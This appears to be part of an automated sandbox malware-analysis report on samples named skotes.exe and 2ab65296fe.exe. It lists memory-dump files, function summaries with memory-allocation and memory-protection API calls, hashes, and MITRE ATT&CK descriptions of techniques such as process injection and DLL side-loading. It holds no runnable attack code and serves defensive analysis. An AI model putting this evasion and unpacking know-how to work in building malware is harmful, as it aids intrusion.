Associated: 00000006.00000002.3295847085.000000000043F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295901019.0000000000440000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295958733.0000000000441000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296019119.0000000000443000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296019119.000000000046C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296198470.0000000000485000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296923976.0000000000486000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297085997.0000000000487000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297170705.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297259736.000000000049D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297348474.000000000049F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297408502.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297470944.00000000004A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297531165.00000000004A6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297596635.00000000004B5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297661351.00000000004B6000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_190000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
API String ID: 0-2152102331
Opcode ID: feb426cffeab6f9a513b9161616c4afefc19f4392a32ce71d41b4ebb4ea9cbc6
Instruction ID: 1783798c619e0e2a0bca168579a8249dbc781dfce8a328ddce0b7a9a2cac6a79
Opcode Fuzzy Hash: feb426cffeab6f9a513b9161616c4afefc19f4392a32ce71d41b4ebb4ea9cbc6
Instruction Fuzzy Hash: DF2162717042096F9B34AE659C82F6B77EDAF30368B10461CF925D7191E7B1ED5086A0

Function 001C1704 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 69COMMON

Download Yara Rule

APIs

Concurrency::details::FreeVirtualProcessorRoot::SpinUntilIdle.LIBCONCRT ref: 001C1764
std::invalid_argument::invalid_argument.LIBCONCRT ref: 001C17AF

Strings

pContext, xrefs: 001C17A7

Memory Dump Source

Source File: 00000006.00000002.3289264345.0000000000191000.00000040.00000001.01000000.00000008.sdmp, Offset: 00190000, based on PE: true

Associated: 00000006.00000002.3289107438.0000000000190000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289264345.00000000001F2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289818825.00000000001F9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289911017.00000000001FB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290047679.0000000000205000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290167225.0000000000206000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290311791.0000000000207000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291362134.0000000000361000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291485880.0000000000363000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291629008.0000000000371000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291629008.000000000037D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3292969573.0000000000385000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293094986.0000000000387000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293236225.0000000000388000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293359413.0000000000389000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293505785.0000000000391000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293651961.0000000000392000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293779776.0000000000399000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293901819.000000000039B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294061382.00000000003AF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294182850.00000000003BD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294356300.00000000003BE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294443535.00000000003C4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294488488.00000000003DF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294531842.00000000003E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294594544.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294638728.00000000003EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294681658.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294772443.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294836463.00000000003FF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294902860.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294988378.0000000000407000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295045530.0000000000408000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295108835.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295191460.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295260165.0000000000416000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295325814.0000000000418000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295410775.0000000000419000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295496675.000000000041E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295605536.000000000041F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295667034.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295734741.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295782648.000000000042E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295847085.000000000043F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295901019.0000000000440000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295958733.0000000000441000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296019119.0000000000443000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296019119.000000000046C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296198470.0000000000485000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296923976.0000000000486000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297085997.0000000000487000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297170705.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297259736.000000000049D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297348474.000000000049F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297408502.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297470944.00000000004A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297531165.00000000004A6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297596635.00000000004B5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297661351.00000000004B6000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_190000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::FreeIdleProcessorRoot::SpinUntilVirtualstd::invalid_argument::invalid_argument
String ID: pContext
API String ID: 3390424672-2046700901
Opcode ID: 69ebaac3848721c8da95a1f4cfd5b1a94692544b73988d1877c5e652b82a3ddf
Instruction ID: f9a733538938c77f64d7b18b9dfbbe3137731d6c01f7a13a38da75bda24f7af7
Opcode Fuzzy Hash: 69ebaac3848721c8da95a1f4cfd5b1a94692544b73988d1877c5e652b82a3ddf
Instruction Fuzzy Hash: 7D11063AA80214BBCB19AF58C485E6D77A5AFA6360B15806DED12AB343DB74DD01CBD0

Function 001BB92C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 28threadCOMMON

Download Yara Rule

APIs

Concurrency::details::FreeThreadProxy::ReturnIdleProxy.LIBCONCRT ref: 001BB94E
std::invalid_argument::invalid_argument.LIBCONCRT ref: 001BB961

Strings

pContext, xrefs: 001BB959

Memory Dump Source

Source File: 00000006.00000002.3289264345.0000000000191000.00000040.00000001.01000000.00000008.sdmp, Offset: 00190000, based on PE: true

Associated: 00000006.00000002.3289107438.0000000000190000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289264345.00000000001F2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289818825.00000000001F9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289911017.00000000001FB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290047679.0000000000205000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290167225.0000000000206000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290311791.0000000000207000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291362134.0000000000361000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291485880.0000000000363000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291629008.0000000000371000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291629008.000000000037D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3292969573.0000000000385000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293094986.0000000000387000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293236225.0000000000388000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293359413.0000000000389000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293505785.0000000000391000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293651961.0000000000392000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293779776.0000000000399000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293901819.000000000039B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294061382.00000000003AF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294182850.00000000003BD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294356300.00000000003BE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294443535.00000000003C4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294488488.00000000003DF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294531842.00000000003E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294594544.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294638728.00000000003EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294681658.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294772443.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294836463.00000000003FF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294902860.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294988378.0000000000407000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295045530.0000000000408000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295108835.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295191460.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295260165.0000000000416000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295325814.0000000000418000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295410775.0000000000419000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295496675.000000000041E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295605536.000000000041F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295667034.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295734741.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295782648.000000000042E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295847085.000000000043F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295901019.0000000000440000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295958733.0000000000441000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296019119.0000000000443000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296019119.000000000046C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296198470.0000000000485000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296923976.0000000000486000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297085997.0000000000487000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297170705.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297259736.000000000049D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297348474.000000000049F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297408502.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297470944.00000000004A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297531165.00000000004A6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297596635.00000000004B5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297661351.00000000004B6000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_190000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::FreeIdleProxyProxy::ReturnThreadstd::invalid_argument::invalid_argument
String ID: pContext
API String ID: 548886458-2046700901
Opcode ID: aeeb98743bfa4b1c70e7975d81f59c5dcd22875edd1b1e8bbd8d8d40970e410d
Instruction ID: 23340be4e61c68a64098201837f250185679bbe2956f922a83d5dfc34056335c
Opcode Fuzzy Hash: aeeb98743bfa4b1c70e7975d81f59c5dcd22875edd1b1e8bbd8d8d40970e410d
Instruction Fuzzy Hash: F6E0927DB4020467CB04B7A5D889D9DB7B99EA47147144119E611A3291EBB0EE45CAD0

Function 001B34CC Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 21COMMON

Download Yara Rule

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 001B34FC

Strings

pScheduler, xrefs: 001B34F4
version, xrefs: 001B34E1

Memory Dump Source

Source File: 00000006.00000002.3289264345.0000000000191000.00000040.00000001.01000000.00000008.sdmp, Offset: 00190000, based on PE: true

Associated: 00000006.00000002.3289107438.0000000000190000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289264345.00000000001F2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289818825.00000000001F9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289911017.00000000001FB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290047679.0000000000205000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290167225.0000000000206000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290311791.0000000000207000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291362134.0000000000361000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291485880.0000000000363000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291629008.0000000000371000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291629008.000000000037D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3292969573.0000000000385000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293094986.0000000000387000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293236225.0000000000388000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293359413.0000000000389000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293505785.0000000000391000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293651961.0000000000392000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293779776.0000000000399000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293901819.000000000039B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294061382.00000000003AF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294182850.00000000003BD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294356300.00000000003BE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294443535.00000000003C4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294488488.00000000003DF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294531842.00000000003E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294594544.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294638728.00000000003EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294681658.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294772443.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294836463.00000000003FF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294902860.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294988378.0000000000407000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295045530.0000000000408000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295108835.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295191460.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295260165.0000000000416000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295325814.0000000000418000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295410775.0000000000419000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295496675.000000000041E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295605536.000000000041F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295667034.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295734741.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295782648.000000000042E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295847085.000000000043F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295901019.0000000000440000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295958733.0000000000441000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296019119.0000000000443000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296019119.000000000046C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296198470.0000000000485000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296923976.0000000000486000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297085997.0000000000487000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297170705.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297259736.000000000049D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297348474.000000000049F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297408502.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297470944.00000000004A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297531165.00000000004A6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297596635.00000000004B5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297661351.00000000004B6000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_190000_skotes.jbxd

Yara matches

Similarity

API ID: std::invalid_argument::invalid_argument
String ID: pScheduler$version
API String ID: 2141394445-3154422776
Opcode ID: 46d4c0eecfc4dd7303c497348ce5eb5acc8b1fa22b660a39012110eb0ae1e1af
Instruction ID: 15b9d898a4e49b27756d862bd0d193d0a47829fbfb34310af5d854ffcbc139e6
Opcode Fuzzy Hash: 46d4c0eecfc4dd7303c497348ce5eb5acc8b1fa22b660a39012110eb0ae1e1af
Instruction Fuzzy Hash: 00E0CD38480248B7CF26FB55D84BFDCB7649B24705F04C115F824110919BF497D8CAD1

Analysis Process: 2ab65296fe.exePID: 2436, Parent PID: 8164COMMON

Executed Functions

Function 000C92CC Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 129memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004,00000000,?,?), ref: 000C9314

Part of subcall function 000C9098: VirtualAlloc.KERNELBASE(00000000,00001012,00001000,00000004), ref: 000C90C1
Part of subcall function 000C9098: VirtualFree.KERNELBASE(00000000,00000000,00008000), ref: 000C926D

VirtualAlloc.KERNELBASE(00000000,00400000,00001000,00000004), ref: 000C9366
VirtualProtect.KERNELBASE(0000002C,?,00000040,0000002C), ref: 000C93C0
VirtualFree.KERNELBASE(00000000,00000000,00008000), ref: 000C93F3

Strings

,, xrefs: 000C9344

Memory Dump Source

Source File: 00000007.00000003.2789017684.00000000000C9000.00000040.00000001.01000000.0000000A.sdmp, Offset: 000C9000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_3_c9000_2ab65296fe.jbxd

Similarity

API ID: Virtual$Alloc$Free$Protect
String ID: ,
API String ID: 1004437363-3772416878
Opcode ID: 846e80d9192284de11e110977aaee4205ca63ec1a267e246cbf1a7208dcc7df3
Instruction ID: 93d2b00f9c7b6d54be6fbe245487dd1187ab8a8c10c591f5a73f427161f3682b
Opcode Fuzzy Hash: 846e80d9192284de11e110977aaee4205ca63ec1a267e246cbf1a7208dcc7df3
Instruction Fuzzy Hash: 6D51EA75900609AFCB20DFA9C885F9EBBF4FF08754F10851AF959A7281D370EA51CBA4

Function 000C9098 Relevance: 2.7, APIs: 2, Instructions: 163memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,00001012,00001000,00000004), ref: 000C90C1
VirtualFree.KERNELBASE(00000000,00000000,00008000), ref: 000C926D

Memory Dump Source

Source File: 00000007.00000003.2789017684.00000000000C9000.00000040.00000001.01000000.0000000A.sdmp, Offset: 000C9000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_3_c9000_2ab65296fe.jbxd

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: 7dc8e79fde86babc96161718fc4e5f80a5398d7d893a888eaa0e52eee754c683
Instruction ID: d58f8b1aa87f91fd3473fe959827665bf0c3e13b04d5ebb0cb8adc592b2b78bd
Opcode Fuzzy Hash: 7dc8e79fde86babc96161718fc4e5f80a5398d7d893a888eaa0e52eee754c683
Instruction Fuzzy Hash: 18717C71E0424ADFDB51CF98C986BEDBBF0AF09314F284099E4A5F7241C234AA91DF65

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

